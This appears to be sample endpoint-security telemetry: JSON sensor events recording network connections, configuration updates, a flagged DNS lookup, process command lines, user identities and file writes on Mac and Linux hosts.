+{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"} +{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"} +{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"} +{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"} +{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 